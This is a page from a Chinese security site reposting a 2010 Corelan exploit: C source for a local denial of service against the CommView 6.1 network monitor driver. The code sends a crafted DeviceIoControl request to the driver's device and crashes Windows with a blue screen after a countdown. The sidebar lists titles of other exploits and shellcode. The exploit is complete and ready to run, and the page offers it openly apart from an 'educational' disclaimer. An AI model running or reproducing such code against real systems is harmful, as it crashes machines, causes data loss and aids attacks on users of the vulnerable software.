首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
CommView Version 6.1 (Build 636) Local Denial Of Service (BSOD)
来源:http://www.corelan.be:8800 作者:p4r4N0ID 发布时间:2010-04-26  

/*-------------------------------------------------------------------------*/
/**
# Exploit Title : CommView Version 6.1 (Build 636) Local Denial Of Service (BSOD)  
# Corelan       : http://www.corelan.be:8800/advisories.php?id=CORELAN-10-030
# Date          : April 23rd, 2010
# Author        : p4r4N0ID (T.B)
# Bug found by  : p4r4N0ID (T.B)
# Software Link : http://www.tamos.com/download/main/
# Version       : Version 6.1 (Build 636)
# OS            : Windows
# Tested on     : Windows XP sp2 En (VMWARE)
# Type of vuln  : DoS
# Greetz to     : Corelan Security Team
# http://www.corelan.be:8800/index.php/security/corelan-team-members/
#
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
# Corelan does not want anyone to use this script
# for malicious and/or illegal purposes.
# Corelan cannot be held responsible for any illegal use.
#
# Note : you are not allowed to edit/modify this code. 
# If you do, Corelan cannot be held responsible for any damages this may cause.
#
#
**/
/*--------------------------------------------------------------------------*/

#include <windows.h>
#include <stdio.h>


VOID ShowError()
{
 LPVOID lpMsgBuf;
 FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER| FORMAT_MESSAGE_FROM_SYSTEM,
               NULL,
               GetLastError(),
               MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
               (LPTSTR) &lpMsgBuf,
               0,
               NULL);
 MessageBoxA(0,(LPTSTR)lpMsgBuf,"Error",0);
 exit(1);
}


int __cdecl main( int argc , char * argv[])
{
 HANDLE  hDevice;
 DWORD       junk;
 int i = 10;

 system("cls"); 
 printf ("|------------------------------------------------------------------|");
 printf ("|                         __               __                      |");
 printf ("|   _________  ________  / /___ _____     / /____  ____ _____ ___  |");
 printf ("|  / ___/ __ \/ ___/ _ \/ / __ `/ __ \   / __/ _ \/ __ `/ __ `__ \ |");
 printf ("| / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |");
 printf ("| \___/\____/_/   \___/_/\__,_/_/ /_/   \__/\___/\__,_/_/ /_/ /_/  |");
 printf ("|                                                                  |");
 printf ("|                                       http://www.corelan.be:8800 |");
 printf ("|                                              security@corelan.be |");
 printf ("|                                                                  |");
 printf ("|-------------------------------------------------[ EIP Hunters ]--|");
 printf ("[+] CommView Local Denial Of Service (BSOD) - by p4r4N0ID(T.B)");


 //CHANGE the GUID so it match your device name
 //find it in:  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{GUID}
 
 hDevice = CreateFileA("\\\\.\\CV2K_{916BB164-6D0D-45C0-B6C2-79B42A522C17}",
         0,
         FILE_SHARE_READ | FILE_SHARE_WRITE,
         NULL,
         OPEN_EXISTING,
         0,
         NULL);


 if (hDevice == INVALID_HANDLE_VALUE)
 {
     ShowError();
     return EXIT_FAILURE;
 }


 printf("\n\n\t\t[!] Started Countdown");

 for(i;i>=1;i--)
 {
  printf("\r -[ %d ]- ",i);

  if(i==1) printf("\n[+] Bye Bye, BOOM!!!");
  Sleep(1000);
 }

 DeviceIoControl(hDevice,
     0x00002578,
     (LPVOID) 0x80000001,
     0,
     (LPVOID) 0x80000002,
     0,
     &junk, 
     (LPOVERLAPPED)NULL);


 return EXIT_SUCCESS;


}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·29 Byte setuid(0) + execve("/b
·27 bytes setreuid(0, 0) & exec
·Apache Tomcat v. 5.5.0 to 5.5.
·27 bytes setuid(0) ^ execve("/
·EDraw Flowchart ActiveX Contro
·HP Digital Imaging (hpodio08.d
·EDraw Flowchart ActiveX Contro
·ZipWrangler 1.20 (.zip) SEH 0d
·Windows 2000/XP/2003 win32k.sy
·MacOS X 10.6 HFS File System A
·Windows 2000/XP/2003 win32k.sy
·Easyzip 2000 v3.5 (.zip) 0day
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved